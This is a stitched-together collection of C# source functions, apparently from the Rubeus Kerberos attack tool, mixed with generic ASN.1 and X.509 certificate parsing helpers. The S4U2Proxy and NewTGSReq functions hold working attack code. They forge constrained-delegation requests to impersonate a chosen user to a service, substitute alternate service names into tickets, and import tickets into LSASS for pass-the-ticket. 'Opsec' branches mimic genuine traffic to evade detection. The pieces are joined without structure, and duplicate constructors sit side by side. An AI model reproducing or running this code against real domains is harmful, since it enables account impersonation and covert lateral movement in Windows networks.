static AsnElt Duplicate(AsnElt ae) { if (ae.Constructed) { int n = ae.Sub.Length; AsnElt[] ss = new AsnElt[n]; for (int i = 0; i < n; i++) { ss[i] = Duplicate(ae.Sub[i]); } return(AsnElt.Make(ae.TagClass, ae.TagValue, ss)); } if (ae.TagClass == AsnElt.UNIVERSAL) { switch (ae.TagValue) { case AsnElt.BOOLEAN: return(ae.GetBoolean() ? AsnElt.BOOL_TRUE : AsnElt.BOOL_FALSE); case AsnElt.INTEGER: return(AsnElt.MakeIntegerSigned( ae.CopyValue())); case AsnElt.OBJECT_IDENTIFIER: return(AsnElt.MakeOID(ae.GetOID())); case AsnElt.NumericString: case AsnElt.PrintableString: case AsnElt.IA5String: case AsnElt.TeletexString: case AsnElt.UTF8String: case AsnElt.BMPString: case AsnElt.UniversalString: case AsnElt.UTCTime: case AsnElt.GeneralizedTime: return(AsnElt.MakeString( ae.TagValue, ae.GetString())); } } /* * All other primitive types will be treated as blobs. * We still need to duplicate them in order to avoid * variants in tag/length encoding. */ return(AsnElt.MakePrimitive(ae.TagClass, ae.TagValue, ae.CopyValue())); }
static int GetRSAPublicKeySize(byte[] kv) { AsnElt ae = AsnElt.Decode(kv); ae.CheckTag(AsnElt.SEQUENCE); ae.CheckNumSub(2); AsnElt ai = ae.GetSub(0); ai.CheckTag(AsnElt.INTEGER); ai.CheckPrimitive(); byte[] v = ai.CopyValue(); if (v.Length > 0 && v[0] >= 0x80) { throw new AsnException( "Invalid RSA modulus (negative)"); } int bitLen = M.BitLength(v); if (bitLen < 512) { throw new AsnException(string.Format( "Invalid RSA modulus ({0} bits)", bitLen)); } else if ((v[v.Length - 1] & 0x01) == 0) { throw new AsnException("Invalid RSA modulus (even)"); } return(bitLen); }
public PA_S4U_X509_USER(byte[] key, string name, string realm, uint nonce, Interop.KERB_ETYPE eType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1) { user_id = new S4UUserID(name, realm, nonce); AsnElt userIDAsn = user_id.Encode(); AsnElt userIDSeq = AsnElt.Make(AsnElt.SEQUENCE, userIDAsn); byte[] userIDBytes = userIDSeq.CopyValue(); byte[] cksumBytes = null; if (eType == Interop.KERB_ETYPE.aes256_cts_hmac_sha1) { cksumBytes = Crypto.KerberosChecksum(key, userIDBytes, Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256, Interop.KRB_KEY_USAGE_PA_S4U_X509_USER); } if (eType == Interop.KERB_ETYPE.aes128_cts_hmac_sha1) { cksumBytes = Crypto.KerberosChecksum(key, userIDBytes, Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES128, Interop.KRB_KEY_USAGE_PA_S4U_X509_USER); } if (eType == Interop.KERB_ETYPE.rc4_hmac) { cksumBytes = Crypto.KerberosChecksum(key, userIDBytes, Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_RSA_MD4, Interop.KRB_KEY_USAGE_PA_S4U_X509_USER); } cksum = new Checksum(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256, cksumBytes); }
public PA_S4U_X509_USER(byte[] key, string name, string realm, uint nonce) { user_id = new S4UUserID(name, realm, nonce); AsnElt userIDAsn = user_id.Encode(); AsnElt userIDSeq = AsnElt.Make(AsnElt.SEQUENCE, userIDAsn); //userIDSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, userIDSeq); byte[] userIDBytes = userIDSeq.CopyValue(); byte[] cksumBytes = Crypto.KerberosChecksum(key, userIDBytes, Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256_X509); cksum = new Checksum(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256, cksumBytes); }
static byte[] GetPositiveInteger(AsnElt ae) { ae.CheckTag(AsnElt.INTEGER); byte[] x = ae.CopyValue(); if (x.Length == 0) { throw new AsnException("Invalid integer (empty)"); } if (x[0] >= 0x80) { throw new AsnException("Invalid integer (negative)"); } return(x); }
private static void S4U2Proxy(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "", KRB_CRED tgs = null, bool opsec = false, string proxyUrl = null, string createnetonly = null, bool show = false) { Console.WriteLine("[*] Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN); if (!String.IsNullOrEmpty(altService)) { string[] altSnames = altService.Split(','); if (altSnames.Length == 1) { Console.WriteLine("[*] Final ticket will be for the alternate service '{0}'", altService); } else { Console.WriteLine("[*] Final tickets will be for the alternate services '{0}'", altService); } } // extract out the info needed for the TGS-REQ/S4U2Proxy execution string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; string domain = kirbi.enc_part.ticket_info[0].prealm; Ticket ticket = kirbi.tickets[0]; byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN); TGS_REQ s4u2proxyReq = new TGS_REQ(!opsec); s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CONSTRAINED_DELEGATION; s4u2proxyReq.req_body.realm = domain; string[] parts = targetSPN.Split('/'); string serverName = parts[parts.Length - 1]; s4u2proxyReq.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; foreach (string part in parts) { s4u2proxyReq.req_body.sname.name_string.Add(part); } // supported encryption types s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); // add in the ticket from the S4U2self response s4u2proxyReq.req_body.additional_tickets.Add(tgs.tickets[0]); // needed for authenticator checksum byte[] cksum_Bytes = null; // the rest of the opsec changes if (opsec) { // remove renewableok and add canonicalize s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK; s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; // 15 minutes in the future like genuine requests DateTime till = DateTime.Now; till = till.AddMinutes(15); s4u2proxyReq.req_body.till = till; // extra etypes s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.old_exp); // get hostname and hostname of SPN string hostName = Dns.GetHostName().ToUpper(); string targetHostName; if (parts.Length > 1) { targetHostName = parts[1].Substring(0, parts[1].IndexOf('.')).ToUpper(); } else { targetHostName = hostName; } // create enc-authorization-data if target host is not the local machine if (hostName != targetHostName) { // authdata requires key and etype from tgs byte[] tgsKey = tgs.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE tgsEtype = (Interop.KERB_ETYPE)tgs.enc_part.ticket_info[0].key.keytype; ADIfRelevant ifrelevant = new ADIfRelevant(); ADRestrictionEntry restrictions = new ADRestrictionEntry(); ADKerbLocal kerbLocal = new ADKerbLocal(); ifrelevant.ADData.Add(restrictions); ifrelevant.ADData.Add(kerbLocal); AsnElt authDataSeq = ifrelevant.Encode(); authDataSeq = AsnElt.Make(AsnElt.SEQUENCE, authDataSeq); byte[] authorizationDataBytes = authDataSeq.Encode(); byte[] enc_authorization_data = Crypto.KerberosEncrypt(tgsEtype, Interop.KRB_KEY_USAGE_TGS_REQ_ENC_AUTHOIRZATION_DATA, tgsKey, authorizationDataBytes); s4u2proxyReq.req_body.enc_authorization_data = new EncryptedData((Int32)tgsEtype, enc_authorization_data); } // encode req_body for authenticator cksum AsnElt req_Body_ASN = s4u2proxyReq.req_body.Encode(); AsnElt req_Body_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { req_Body_ASN }); req_Body_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, req_Body_ASNSeq); byte[] req_Body_Bytes = req_Body_ASNSeq.CopyValue(); cksum_Bytes = Crypto.KerberosChecksum(clientKey, req_Body_Bytes, Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_RSA_MD5); } // moved to end so we can have the checksum in the authenticator PA_DATA padata = new PA_DATA(domain, userName, ticket, clientKey, etype, opsec, cksum_Bytes); s4u2proxyReq.padata.Add(padata); PA_DATA pac_options = new PA_DATA(false, false, false, true); s4u2proxyReq.padata.Add(pac_options); byte[] s4ubytes = s4u2proxyReq.Encode().Encode(); byte[] response2 = null; if (String.IsNullOrEmpty(proxyUrl)) { string dcIP = Networking.GetDCIP(domainController); if (String.IsNullOrEmpty(dcIP)) { return; } Console.WriteLine("[*] Sending S4U2proxy request to domain controller {0}:88", dcIP); response2 = Networking.SendBytes(dcIP, 88, s4ubytes); } else { Console.WriteLine("[*] Sending S4U2proxy request via KDC proxy: {0}", proxyUrl); KDC_PROXY_MESSAGE message = new KDC_PROXY_MESSAGE(s4ubytes); message.target_domain = domain; response2 = Networking.MakeProxyRequest(proxyUrl, message); } if (response2 == null) { return; } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response2, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) { Console.WriteLine("[+] S4U2proxy success!"); // parse the response to an TGS-REP TGS_REP rep2 = new TGS_REP(responseAsn); // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62 byte[] outBytes2 = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher); AsnElt ae2 = AsnElt.Decode(outBytes2, false); EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]); if (!String.IsNullOrEmpty(altService)) { string[] altSnames = altService.Split(','); foreach (string altSname in altSnames) { // now build the final KRB-CRED structure with one or more alternate snames KRB_CRED cred = new KRB_CRED(); // since we want an alternate sname, first substitute it into the ticket structure rep2.ticket.sname.name_string[0] = altSname; // add the ticket cred.tickets.Add(rep2.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart2.key.keytype; info.key.keyvalue = encRepPart2.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart2.realm; // [2] pname (user) info.pname.name_type = rep2.cname.name_type; info.pname.name_string = rep2.cname.name_string; // [3] flags info.flags = encRepPart2.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart2.starttime; // [6] endtime info.endtime = encRepPart2.endtime; // [7] renew-till info.renew_till = encRepPart2.renew_till; // [8] srealm info.srealm = encRepPart2.realm; // [9] sname info.sname.name_type = encRepPart2.sname.name_type; info.sname.name_string = encRepPart2.sname.name_string; // if we want an alternate sname, substitute it into the encrypted portion of the KRB_CRED Console.WriteLine("[*] Substituting alternative service name '{0}'", altSname); info.sname.name_string[0] = altSname; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}/{1}':\r\n", altSname, serverName); if (Rubeus.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } if (!String.IsNullOrEmpty(outfile)) { string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{altSname}-{serverName}{Helpers.GetExtensionFromFilename(outfile)}"; filename = Helpers.MakeValidFileName(filename); if (Helpers.WriteBytesToFile(filename, kirbiBytes)) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); } } if (ptt) { // pass-the-ticket -> import into LSASS ImportTicket(kirbiBytes, createnetonly, show); } } } else { // now build the final KRB-CRED structure, no alternate snames KRB_CRED cred = new KRB_CRED(); // if we want an alternate sname, first substitute it into the ticket structure if (!String.IsNullOrEmpty(altService)) { rep2.ticket.sname.name_string[0] = altService; } // add the ticket cred.tickets.Add(rep2.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart2.key.keytype; info.key.keyvalue = encRepPart2.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart2.realm; // [2] pname (user) info.pname.name_type = rep2.cname.name_type; info.pname.name_string = rep2.cname.name_string; // [3] flags info.flags = encRepPart2.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart2.starttime; // [6] endtime info.endtime = encRepPart2.endtime; // [7] renew-till info.renew_till = encRepPart2.renew_till; // [8] srealm info.srealm = encRepPart2.realm; // [9] sname info.sname.name_type = encRepPart2.sname.name_type; info.sname.name_string = encRepPart2.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN); if (Rubeus.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } if (!String.IsNullOrEmpty(outfile)) { string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{targetSPN}{Helpers.GetExtensionFromFilename(outfile)}"; filename = Helpers.MakeValidFileName(filename); if (Helpers.WriteBytesToFile(filename, kirbiBytes)) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); } } if (ptt) { // pass-the-ticket -> import into LSASS ImportTicket(kirbiBytes, createnetonly, show); } } } else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } }
/* * Create an instance by decoding the provided object. * This constructor assumes ASN.1 DER encoding (not Base64, * not PEM). * * On decoding error, an AsnException is thrown. */ public X509Cert(byte[] cert) { /* * Compute thumbprint. */ thumbprint = M.DoSHA1(cert).ToUpperInvariant(); /* * Outer layer decoding and extraction of the signature * hash algorithm. */ AsnElt ac = AsnElt.Decode(cert); ac.CheckTag(AsnElt.SEQUENCE); ac.CheckNumSub(3); hashAlgorithm = GetSignHashName( new AlgorithmIdentifier(ac.GetSub(1))); /* * TBS exploration. First field is optional; if present, * it contains the certificate version. */ AsnElt atbs = ac.GetSub(0); atbs.CheckNumSubMin(6); atbs.CheckNumSubMax(10); int off = 0; if (atbs.GetSub(0).TagValue == 0) { off++; } /* * Serial numer: nominally an INTEGER, we extract the * raw bytes, because some CA wrongly use unsigned * encoding. */ AsnElt aserial = atbs.GetSub(off); aserial.CheckTag(AsnElt.INTEGER); byte[] sv = aserial.CopyValue(); int svk = 0; while (svk < sv.Length && sv[svk] == 0) { svk++; } if (svk == sv.Length) { serialHex = "00"; } else { StringBuilder sb = new StringBuilder(); while (svk < sv.Length) { sb.AppendFormat("{0:X2}", sv[svk++]); } serialHex = sb.ToString(); } /* * Issuer and subject DN. */ issuerDN = new X500Name(atbs.GetSub(off + 2)); subjectDN = new X500Name(atbs.GetSub(off + 4)); /* * Validity dates. */ AsnElt adates = atbs.GetSub(off + 3); adates.CheckTag(AsnElt.SEQUENCE); adates.CheckNumSub(2); validFrom = adates.GetSub(0).GetTime(); validTo = adates.GetSub(1).GetTime(); /* * Public key. */ AsnElt aspki = atbs.GetSub(off + 5); aspki.CheckTag(AsnElt.SEQUENCE); aspki.CheckNumSub(2); AlgorithmIdentifier kt = new AlgorithmIdentifier(aspki.GetSub(0)); AsnElt aktp = kt.Parameters; AsnElt apkv = aspki.GetSub(1); apkv.CheckTag(AsnElt.BIT_STRING); byte[] kv = apkv.GetBitString(); curveOID = null; keyType = "UNKNOWN"; keySize = 0; switch (kt.OID) { /* * RSA public keys should use the 'rsaEncryption' OID, * but some are tagged with the OAEP or the PSS OID, * to somehow specify that the RSA key should be used * only with OAEP or PSS. */ case "1.2.840.113549.1.1.1": case "1.2.840.113549.1.1.7": case "1.2.840.113549.1.1.10": keyType = "RSA"; keySize = GetRSAPublicKeySize(kv); break; /* * All DSA public keys should use that OID. */ case "1.2.840.10040.4.1": keyType = "DSA"; keySize = GetDSAPublicKeySize(aktp); break; /* * Elliptic curve keys. * We only support "normal" elliptic curve keys, not * restricted keys. * We only supported named curves (RFC 5480 forbids * explicit curve parameters). */ case "1.2.840.10045.2.1": if (aktp == null) { break; } if (aktp.TagClass != AsnElt.UNIVERSAL || aktp.TagValue != AsnElt.OBJECT_IDENTIFIER) { break; } keyType = "EC"; curveOID = aktp.GetOID(); keySize = GetCurveSize(curveOID); break; /* TODO: GOST R 34.10-94 and GOST R 34.10-2001 */ } /* * If there are extensions, process them. * extract the dNSNames. */ serverNames = null; extensions = new SortedDictionary <string, Extension>( StringComparer.Ordinal); for (int i = off + 6; i < atbs.Sub.Length; i++) { AsnElt aexts = atbs.GetSub(i); if (aexts.TagClass != AsnElt.CONTEXT || aexts.TagValue != 3) { continue; } aexts.CheckNumSub(1); aexts = aexts.GetSub(0); aexts.CheckTag(AsnElt.SEQUENCE); foreach (AsnElt aext in aexts.Sub) { aext.CheckTag(AsnElt.SEQUENCE); aext.CheckNumSubMin(2); aext.CheckNumSubMax(3); AsnElt aoid = aext.GetSub(0); aoid.CheckTag(AsnElt.OBJECT_IDENTIFIER); string oid = aoid.GetOID(); AsnElt av; bool critical = false; if (aext.Sub.Length == 2) { av = aext.GetSub(1); } else { AsnElt acrit = aext.GetSub(1); acrit.CheckTag(AsnElt.BOOLEAN); critical = acrit.GetBoolean(); av = aext.GetSub(2); } av.CheckTag(AsnElt.OCTET_STRING); Extension ext = new Extension( oid, critical, av.CopyValue()); if (extensions.ContainsKey(oid)) { throw new AsnException( "duplicate extension " + oid); } extensions[oid] = ext; ProcessExtension(ext); } } /* * If there was no SAN, or no dNSName in the SAN, then * get the Common Name from the subjectDN. */ string cn = null; foreach (DNPart dnp in subjectDN.Parts) { if (dnp.FriendlyType == DNPart.COMMON_NAME) { if (cn != null) { throw new AsnException( "multiple CN in subject DN"); } cn = dnp.Value; } } if (serverNames == null) { if (cn == null) { serverNames = new string[0]; } else { serverNames = new string[] { cn }; } } }
public static byte[] NewTGSReq(string userName, string domain, string sname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, bool renew = false, string s4uUser = "", bool enterprise = false, bool roast = false, bool opsec = false, bool unconstrained = false) { TGS_REQ req = new TGS_REQ(!opsec); if (!opsec) { // set the username req.req_body.cname.name_string.Add(userName); } // get domain from service for cross domain requests // if not requesting a cross domain TGT (krbtgt) string targetDomain = ""; string[] parts = sname.Split('/'); if (!(roast) && (parts.Length > 1) && (parts[0] != "krbtgt")) { targetDomain = parts[1].Substring(parts[1].IndexOf('.') + 1); } else { targetDomain = domain; } // the realm (domain) the user exists in req.req_body.realm = targetDomain.ToUpper(); // add in our encryption types if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial) { // normal behavior req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); //req.req_body.etypes.Add(Interop.KERB_ETYPE.des_cbc_crc); } // real traffic have these etypes except when requesting a TGT, then only else if ((opsec) && (parts.Length > 1) && (parts[0] != "krbtgt")) { req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); req.req_body.etypes.Add(Interop.KERB_ETYPE.old_exp); } else { // add in the supported etype specified req.req_body.etypes.Add(requestEType); } if (!String.IsNullOrEmpty(s4uUser)) { // constrained delegation yo' req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_PRINCIPAL; req.req_body.sname.name_string.Add(userName); if (!opsec) { req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.ENCTKTINSKEY; } if (opsec) { req.req_body.etypes.Add(Interop.KERB_ETYPE.old_exp); } } else { if (enterprise) { // KRB_NT-ENTERPRISE = 10 // userPrincipalName // sAMAccountName // sAMAccountName@DomainNetBIOSName // sAMAccountName@DomainFQDN // DomainNetBIOSName\sAMAccountName // DomainFQDN\sAMAccountName req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_ENTERPRISE; req.req_body.sname.name_string.Add(sname); req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; } else if (parts.Length == 1) { // KRB_NT_SRV_INST = 2 // service and other unique instance (e.g. krbtgt) req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; req.req_body.sname.name_string.Add(sname); req.req_body.sname.name_string.Add(domain); } else if (parts.Length == 2) { // KRB_NT_SRV_INST = 2 // SPN (sname/server.domain.com) req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; req.req_body.sname.name_string.Add(parts[0]); req.req_body.sname.name_string.Add(parts[1]); } else if (parts.Length == 3) { // KRB_NT_SRV_HST = 3 // SPN (sname/server.domain.com/blah) req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_HST; req.req_body.sname.name_string.Add(parts[0]); req.req_body.sname.name_string.Add(parts[1]); req.req_body.sname.name_string.Add(parts[2]); } else { Console.WriteLine("[X] Error: invalid TGS_REQ sname '{0}'", sname); } } if (renew) { req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.RENEW; } // needed for authenticator checksum byte[] cksum_Bytes = null; // opsec complete the request body before the creation of the AP-REQ if (opsec) { // set correct flags based on type of request req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; if (!unconstrained) { req.req_body.kdcOptions = req.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK; } if (unconstrained) { req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.FORWARDED; } // get hostname and hostname of SPN string hostName = Dns.GetHostName().ToUpper(); string targetHostName; if (parts.Length > 1) { targetHostName = parts[1].Substring(0, parts[1].IndexOf('.')).ToUpper(); } else { targetHostName = hostName; } // create enc-authorization-data if target host is not the local machine if ((hostName != targetHostName) && String.IsNullOrEmpty(s4uUser) && (!unconstrained)) { List <AuthorizationData> tmp = new List <AuthorizationData>(); AuthorizationData restrictions = new AuthorizationData(Interop.AuthorizationDataType.KERB_AUTH_DATA_TOKEN_RESTRICTIONS); AuthorizationData kerbLocal = new AuthorizationData(Interop.AuthorizationDataType.KERB_LOCAL); tmp.Add(restrictions); tmp.Add(kerbLocal); AuthorizationData authorizationData = new AuthorizationData(tmp); byte[] authorizationDataBytes = authorizationData.Encode().Encode(); byte[] enc_authorization_data = Crypto.KerberosEncrypt(requestEType, Interop.KRB_KEY_USAGE_TGS_REQ_ENC_AUTHOIRZATION_DATA, clientKey, authorizationDataBytes); req.req_body.enc_authorization_data = new EncryptedData((Int32)requestEType, enc_authorization_data); } // S4U requests have a till time of 15 minutes in the future if (!String.IsNullOrEmpty(s4uUser)) { DateTime till = DateTime.Now; till = till.AddMinutes(15); req.req_body.till = till; } // encode req_body for authenticator cksum AsnElt req_Body_ASN = req.req_body.Encode(); AsnElt req_Body_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { req_Body_ASN }); req_Body_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, req_Body_ASNSeq); byte[] req_Body_Bytes = req_Body_ASNSeq.CopyValue(); cksum_Bytes = Crypto.KerberosChecksum(clientKey, req_Body_Bytes, Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_RSA_MD5); } // create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc. PA_DATA padata = new PA_DATA(domain, userName, providedTicket, clientKey, paEType, opsec, cksum_Bytes); req.padata.Add(padata); // moved so all PA-DATA sections are inserted after the request body has been completed, this is useful when // forming opsec requests as they require a checksum of the request body within the authenticator and the // PADATA-TGS-REQ should go before the other PA-DATA sections if (opsec && (!String.IsNullOrEmpty(s4uUser))) { // real packets seem to lowercase the domain in these 2 PA_DATA's domain = domain.ToLower(); // PA_S4U_X509_USER commented out until we get the checksum working //PA_DATA s4upadata = new PA_DATA(clientKey, s4uUser, domain, req.req_body.nonce); //req.padata.Add(s4upadata); } // add final S4U PA-DATA if (!String.IsNullOrEmpty(s4uUser)) { // constrained delegation yo' PA_DATA s4upadata = new PA_DATA(clientKey, s4uUser, domain); req.padata.Add(s4upadata); } else if (opsec) { PA_DATA padataoptions = new PA_DATA(false, true, false, false); req.padata.Add(padataoptions); } return(req.Encode().Encode()); }
static void Parse(TextWriter tw, int depth, AsnElt ae) { Indent(tw, depth); tw.Write("("); switch (ae.TagClass) { case AsnElt.APPLICATION: tw.Write("[application " + ae.TagValue + "]"); break; case AsnElt.CONTEXT: tw.Write("[" + ae.TagValue + "]"); break; case AsnElt.PRIVATE: tw.Write("[private " + ae.TagValue + "]"); break; default: switch (ae.TagValue) { case AsnElt.BOOLEAN: tw.Write("bool " + ae.GetBoolean() + ")"); return; case AsnElt.INTEGER: tw.Write("int " + ae.GetIntegerHex() + ")"); return; case AsnElt.BIT_STRING: int bitLen; byte[] bs = ae.GetBitString(out bitLen); tw.Write("bits " + (bs.Length * 8 - bitLen)); PrintBytes(tw, depth, bs); tw.Write(")"); return; case AsnElt.OCTET_STRING: tw.Write("blob"); PrintBytes(tw, depth, ae.CopyValue()); tw.Write(")"); return; case AsnElt.NULL: ae.CheckNull(); tw.Write("null)"); return; case AsnElt.OBJECT_IDENTIFIER: string oid = ae.GetOID(); if (!numOID) { oid = AsnOID.ToName(oid); } tw.Write("oid " + oid + ")"); return; case AsnElt.NumericString: tw.Write("numeric " + EscapeString(ae.GetString()) + ")"); return; case AsnElt.PrintableString: tw.Write("printable " + EscapeString(ae.GetString()) + ")"); return; case AsnElt.IA5String: tw.Write("ia5 " + EscapeString(ae.GetString()) + ")"); return; case AsnElt.TeletexString: tw.Write("teletex " + EscapeString(ae.GetString()) + ")"); return; case AsnElt.UTF8String: tw.Write("utf8 " + EscapeString(ae.GetString()) + ")"); return; case AsnElt.BMPString: tw.Write("bmp " + EscapeString(ae.GetString()) + ")"); return; case AsnElt.UniversalString: tw.Write("utf32 " + EscapeString(ae.GetString()) + ")"); return; case AsnElt.UTCTime: tw.Write("utc " + EscapeString(ae.GetString()) + " {" + ae.GetTime() + "} )"); return; case AsnElt.GeneralizedTime: tw.Write("gentime " + EscapeString(ae.GetString()) + " {" + ae.GetTime() + "} )"); return; case AsnElt.SEQUENCE: if (!ae.Constructed) { throw new AsnException( "Non-constructed SEQUENCE"); } tw.Write("sequence"); ParseSubs(tw, depth, ae); tw.Write(")"); return; case AsnElt.SET: if (!ae.Constructed) { throw new AsnException( "Non-constructed SET"); } tw.Write("set"); ParseSubs(tw, depth, ae); tw.Write(")"); return; default: tw.Write( "[universal " + ae.TagValue + "]"); break; } break; } if (ae.Constructed) { tw.Write("sequence"); ParseSubs(tw, depth, ae); tw.Write(")"); } else { tw.Write("blob"); PrintBytes(tw, depth, ae.CopyValue()); tw.Write(")"); } }